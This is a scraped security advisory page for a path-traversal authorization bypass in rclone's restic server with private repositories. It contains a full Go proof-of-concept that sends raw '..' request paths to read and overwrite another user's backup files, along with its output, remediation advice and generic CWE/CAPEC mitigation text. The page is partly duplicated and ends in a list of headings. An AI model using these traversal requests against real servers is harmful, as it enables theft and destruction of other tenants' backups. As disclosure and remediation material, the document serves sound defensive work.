The shipped TestResticPrivateRepositories continues to pass alongside this PoC, confirming the intended isolation model (own 200, direct cross-tenant 403) is exactly what the .. request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or net/http client would canonicalize the .. before sending, but curl --path-as-is, restic's own REST client, or any raw socket write preserves it.

Remediation

Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the same cleaned value:

In WithRemote (or before checkPrivate runs), reject or path.Clean the request path and refuse any path containing a .. element after a leading-slash trim — e.g. compute cleaned := path.Clean("/" + strings.Trim(urlpath, "/")) and 403/400 if cleaned differs from the original or still contains a .. segment. Then store cleaned (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth.
Additionally, in checkPrivate, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi {userID} route param in isolation: require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID.
Defense in depth: the restic server should canonicalize and ..-reject incoming object paths even when --private-repos is off, so that no backend is relied upon to neutralize traversal.

Please credit 5ud0 / Tarmo Technologies.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.74.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.74.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59733"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T20:41:22Z",
    "nvd_published_at": "2026-07-14T22:17:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`rclone serve restic --private-repos` exists to let one rclone instance host many users\u0027 restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of `/\u003cusername\u003e/`. The documentation states the flag \"can be used to limit users to repositories starting with a path of `/\u003cusername\u003e/`\", and the shipped test `TestResticPrivateRepositories` asserts that user `test` may reach `/test/config` but is `403`-blocked from `/other_user/config`. This isolation is the entire security purpose of the flag.\n\nThe isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two *different* sources, and the path source is never canonicalized. `checkPrivate` authorizes the request by comparing the routed `{userID}` path segment against the authenticated user, while `WithRemote` builds the backend object key from the raw, un-cleaned URL path. A request such as `GET /\u003cme\u003e/../\u003cvictim\u003e/config` keeps the first path segment equal to the attacker\u0027s own username (so `checkPrivate` returns the request as authorized) yet hands the backend the literal remote `me/../victim/config`. On any backend that resolves object paths with POSIX `path.Join`/`path.Clean` semantics \u2014 which includes the bundled `memory` backend used in the PoC below, and the widely deployed `sftp` and `ftp` backends \u2014 that `..` segment collapses, and the operation is performed against the victim\u0027s object.\n\nBecause the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user\u0027s private repository hosted on the same server. For restic that means reading another tenant\u0027s `config`/`keys` metadata and pack files, corrupting their repository, or deleting their backups outright (subject to `--append-only`, which still permits cross-tenant reads).\n\n## Affected code (v1.74.3, commit `37e4117\u2026`)\n\n`cmd/serve/restic/restic.go`. The two middlewares disagree on what \"the path\" is. `checkPrivate` reads the chi route param `userID`:\n\n```go\n// Middleware to ensure authenticated user is accessing their own private folder\nfunc checkPrivate(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tuser := chi.URLParam(r, \"userID\")\n\t\tuserID, ok := libhttp.CtxGetUser(r.Context())\n\t\tif ok \u0026\u0026 user != \"\" \u0026\u0026 user == userID {\n\t\t\tnext.ServeHTTP(w, r)\n\t\t} else {\n\t\t\thttp.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)\n\t\t}\n\t})\n}\n```\n\n`WithRemote` builds the backend object key from the raw URL path with **no `path.Clean`** and no `..` rejection (the only transformation is the unrelated `data/xx` sharding rewrite):\n\n```go\nfunc WithRemote(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tvar urlpath string\n\t\trctx := chi.RouteContext(r.Context())\n\t\tif rctx != nil \u0026\u0026 rctx.RoutePath != \"\" {\n\t\t\turlpath = rctx.RoutePath\n\t\t} else {\n\t\t\turlpath = r.URL.Path\n\t\t}\n\t\turlpath = strings.Trim(urlpath, \"/\")\n\t\tparts := matchData.FindStringSubmatch(urlpath)\n\t\t// ... data/2159dd48 -\u003e data/21/2159dd48 sharding only ...\n\t\tctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n```\n\nRoute wiring (`Bind`): the auth-bearing `{userID}` segment is matched by chi for `checkPrivate`, but the catch-all `/*` that `WithRemote` reads keeps the literal `..`:\n\n```go\nif s.opt.PrivateRepos {\n\trouter.Route(\"/{userID}\", func(r chi.Router) {\n\t\tr.Use(checkPrivate)\n\t\ts.bind(r)\n\t})\n\t...\n}\n```\n\nThe remote stored by `WithRemote` is then used verbatim by the object handlers, e.g. `serveObject` \u2192 `s.newObject(ctx, remote)` \u2192 `s.f.NewObject(ctx, remote)`, `postObject` \u2192 `operations.RcatSize(..., remote, ...)`, and `deleteObject` \u2192 `o.Remove(...)`. For a request `GET /test/../victim/config`, instrumentation shows `checkPrivate` observing `userIDparam=\"test\"` (authorized) while the object remote is `\"test/../victim/config\"` \u2014 the desync is exact.\n\n## Attacker model / precondition\n\nThe attacker is a low-privileged but **legitimately authenticated** user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for \u2014 e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.\n\nPreconditions: (1) the operator runs `rclone serve restic` with `--private-repos` and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX `path.Join`/`path.Clean` semantics so the `..` collapses before the object is located. This holds for the bundled `memory` backend (used in the self-contained PoC), and for the commonly deployed `sftp` and `ftp` backends, whose object path is computed as `path.Join(f.absRoot, remote)` (`backend/sftp/sftp.go`, `o.path()`), which canonicalizes `..`. It does **not** hold for the `local` backend (which deliberately re-encodes `.`/`..` path components to fullwidth characters in `cleanRootPath`/`localPath`, neutralizing traversal), and S3-style backends treat keys as opaque so a literal `..` key normally will not match a victim object \u2014 so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend\u0027s incidental path handling.\n\n## Impact\n\nAcross the per-user trust boundary that `--private-repos` is meant to enforce, any authenticated user can, against any other user\u0027s repository on the same server:\n\n- **Read** (`GET`): download the victim\u0027s restic `config` and `keys/*` files and pack/index objects \u2014 full confidentiality break of the victim\u0027s repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim\u0027s restic password \u2014 i.e. this removes the server-side isolation that was the only barrier.)\n- **Overwrite** (`POST`): replace the victim\u0027s objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if `--append-only` is set.\n- **Delete** (`DELETE`): remove the victim\u0027s repository objects, destroying their backups. Blocked only if `--append-only` is set (which still allows the read primitive).\n\nThis is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback `httptest` listener backed by the bundled in-memory backend (which has the same `path.Join` key semantics as the sftp/ftp backends), then sends **raw**, un-normalized HTTP request-targets over a TCP socket (so the `..` is not collapsed client-side). It proves: (1) a user reads their own object \u2014 `200`; (2) a direct cross-tenant request is correctly blocked \u2014 `403`; (3) the `..` bypass reads the victim\u0027s secret \u2014 `200` + leak; (4) the same bypass overwrites the victim\u0027s object \u2014 `200`.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone\ncd rclone\n# write the test file shown below to cmd/serve/restic/zzz_poc_test.go\ngo test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v\n```\n\n`cmd/serve/restic/zzz_poc_test.go`:\n\n```go\npackage restic\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/rclone/rclone/fs\"\n\t\"github.com/rclone/rclone/fs/config/configfile\"\n\t\"github.com/rclone/rclone/fs/object\"\n\t\"github.com/rclone/rclone/lib/random\"\n\t\"github.com/stretchr/testify/require\"\n\n\t_ \"github.com/rclone/rclone/backend/memory\"\n)\n\nfunc pocBasicAuth(user, pass string) string {\n\treturn base64.StdEncoding.EncodeToString([]byte(user + \":\" + pass))\n}\n\n// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)\n// request-target + method + Basic auth, returning the full raw response.\nfunc rawReq(t *testing.T, addr, method, target, user, pass string) string {\n\tconn, err := net.Dial(\"tcp\", addr)\n\trequire.NoError(t, err)\n\tdefer func() { _ = conn.Close() }()\n\tcred := pocBasicAuth(user, pass)\n\treq := fmt.Sprintf(\"%s %s HTTP/1.1\\r\\nHost: x\\r\\nAuthorization: Basic %s\\r\\nConnection: close\\r\\n\\r\\n\", method, target, cred)\n\t_, err = conn.Write([]byte(req))\n\trequire.NoError(t, err)\n\tr := bufio.NewReader(conn)\n\tvar sb strings.Builder\n\tbuf := make([]byte, 8192)\n\tfor {\n\t\tn, err := r.Read(buf)\n\t\tif n \u003e 0 {\n\t\t\tsb.Write(buf[:n])\n\t\t}\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn sb.String()\n}\n\nfunc pocBody(resp string) string {\n\tif idx := strings.Index(resp, \"\\r\\n\\r\\n\"); idx \u003e= 0 {\n\t\treturn resp[idx+4:]\n\t}\n\treturn \"\"\n}\nfunc pocStatus(resp string) string { return strings.SplitN(resp, \"\\r\\n\", 2)[0] }\n\n// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass\n// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).\nfunc TestPrivateRepoCrossTenantPoC(t *testing.T) {\n\tconfigfile.Install()\n\tctx := context.Background()\n\n\t// Bucket-style backend shared by all private-repo users.\n\tf, err := fs.NewFs(ctx, \":memory:repos\")\n\trequire.NoError(t, err)\n\n\tput := func(remote, content string) {\n\t\tinfo := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)\n\t\t_, perr := f.Put(ctx, strings.NewReader(content), info)\n\t\trequire.NoError(t, perr)\n\t}\n\n\t// Victim \"alice\" uploads her restic config under her own private prefix.\n\tsecret := \"ALICE-PRIVATE-RESTIC-CONFIG-\" + random.String(8)\n\tput(\"alice/config\", secret)\n\n\t// Attacker \"mallory\" has her own valid account on the same server.\n\tput(\"mallory/config\", \"mallory-own-config\")\n\n\topt := newOpt()\n\topt.PrivateRepos = true\n\topt.Auth.BasicUser = \"mallory\"\n\topt.Auth.BasicPass = \"password\"\n\topt.HTTP.ListenAddr = nil\n\n\ts, err := newServer(ctx, f, \u0026opt)\n\trequire.NoError(t, err)\n\tts := httptest.NewServer(s.server.Router())\n\tdefer ts.Close()\n\taddr := strings.TrimPrefix(ts.URL, \"http://\")\n\n\t// 1. Sanity: mallory reads her own config -\u003e 200.\n\tr1 := rawReq(t, addr, \"GET\", \"/mallory/config\", \"mallory\", \"password\")\n\tt.Logf(\"[own]            GET /mallory/config              -\u003e %s  body=%q\", pocStatus(r1), pocBody(r1))\n\n\t// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -\u003e 403.\n\tr2 := rawReq(t, addr, \"GET\", \"/alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[direct-blocked] GET /alice/config               -\u003e %s  body=%q\", pocStatus(r2), pocBody(r2))\n\n\t// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so\n\t//    checkPrivate passes, but the object remote collapses to alice/config.\n\tr3 := rawReq(t, addr, \"GET\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tleaked := strings.Contains(pocBody(r3), secret)\n\tt.Logf(\"[BYPASS]         GET /mallory/../alice/config     -\u003e %s  leaked=%v body=%q\", pocStatus(r3), leaked, pocBody(r3))\n\n\trequire.Equalf(t, \"HTTP/1.1 200 OK\", pocStatus(r3), \"expected the bypass to return alice\u0027s object\")\n\trequire.Truef(t, leaked, \"expected to read alice\u0027s secret config across the tenant boundary\")\n\n\t// 4. Write bypass too: mallory overwrites alice\u0027s object (append-only off).\n\tr4 := rawReq(t, addr, \"POST\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[BYPASS-write]   POST /mallory/../alice/config    -\u003e %s\", pocStatus(r4))\n}\n```\n\nObserved output (v1.74.3 and master HEAD):\n\n```text\n=== RUN   TestPrivateRepoCrossTenantPoC\n    zzz_poc_test.go: [own]            GET /mallory/config              -\u003e HTTP/1.1 200 OK  body=\"mallory-own-config\"\n    zzz_poc_test.go: [direct-blocked] GET /alice/config               -\u003e HTTP/1.1 403 Forbidden  body=\"Forbidden\\n\"\n    zzz_poc_test.go: [BYPASS]         GET /mallory/../alice/config     -\u003e HTTP/1.1 200 OK  leaked=true body=\"ALICE-PRIVATE-RESTIC-CONFIG-sijejif0\"\n    zzz_poc_test.go: [BYPASS-write]   POST /mallory/../alice/config    -\u003e HTTP/1.1 200 OK\n--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)\nPASS\nok  \tgithub.com/rclone/rclone/cmd/serve/restic\t0.022s\n```\n\nThe shipped `TestResticPrivateRepositories` continues to pass alongside this PoC, confirming the intended isolation model (own `200`, direct cross-tenant `403`) is exactly what the `..` request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or `net/http` client would canonicalize the `..` before sending, but `curl --path-as-is`, restic\u0027s own REST client, or any raw socket write preserves it.\n\n## Remediation\n\nEnforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value:\n\n- In `WithRemote` (or before `checkPrivate` runs), reject or `path.Clean` the request path and refuse any path containing a `..` element after a leading-slash trim \u2014 e.g. compute `cleaned := path.Clean(\"/\" + strings.Trim(urlpath, \"/\"))` and `403`/`400` if `cleaned` differs from the original or still contains a `..` segment. Then store `cleaned` (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth.\n- Additionally, in `checkPrivate`, verify that the (cleaned) object remote actually has the authenticated user\u0027s name as its first path segment, rather than trusting the chi `{userID}` route param in isolation: `require strings.HasPrefix(cleanedRemote, userID+\"/\") || cleanedRemote == userID`.\n- Defense in depth: the restic server should canonicalize and `..`-reject incoming object paths even when `--private-repos` is off, so that no backend is relied upon to neutralize traversal.\n\nPlease credit 5ud0 / Tarmo Technologies.",
  "id": "GHSA-fqj9-69pf-6pjg",
  "modified": "2026-08-05T20:41:22Z",
  "published": "2026-08-05T20:41:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-fqj9-69pf-6pjg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59733"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/015fd0eba1cb138eef081517795fed47a2873f2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/dade21c1616035b044df0eef7ee6a85aeb06a139"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.74.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users\u0027 repositories"
}

Mitigation MIT-5.1

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Mitigation MIT-15

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1

Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
realpath() in C
getCanonicalPath() in Java
GetFullPath() in ASP.NET
realpath() or abs_path() in Perl
realpath() in PHP

Mitigation MIT-4

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17

Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1

Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Mitigation MIT-22

Architecture and Design Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation MIT-34

Architecture and Design Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Mitigation MIT-39

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Mitigation MIT-16

Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

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CWE-22

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Impact

Affected Packages / Versions

Remediation

Fix Commit(s)

Release Process Note

Publication Update (2026-02-25)

Summary

Impact

Summary

Affected code (v1.74.3, commit 37e4117…)

Attacker model / precondition

Impact

Proof of Concept (complete — runs on 127.0.0.1 only)

Remediation

Mitigation MIT-5.1

Mitigation MIT-15

Mitigation MIT-20.1

Mitigation MIT-4

Mitigation MIT-29

Mitigation MIT-17

Mitigation MIT-21.1

Mitigation MIT-22

Mitigation MIT-34

Mitigation MIT-39

Mitigation MIT-16

CAPEC-126: Path Traversal

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

CAPEC-76: Manipulating Web Input to File System Calls

CAPEC-78: Using Escaped Slashes in Alternate Encoding

CAPEC-79: Using Slashes in Alternate Encoding

Affected code (v1.74.3, commit `37e4117…`)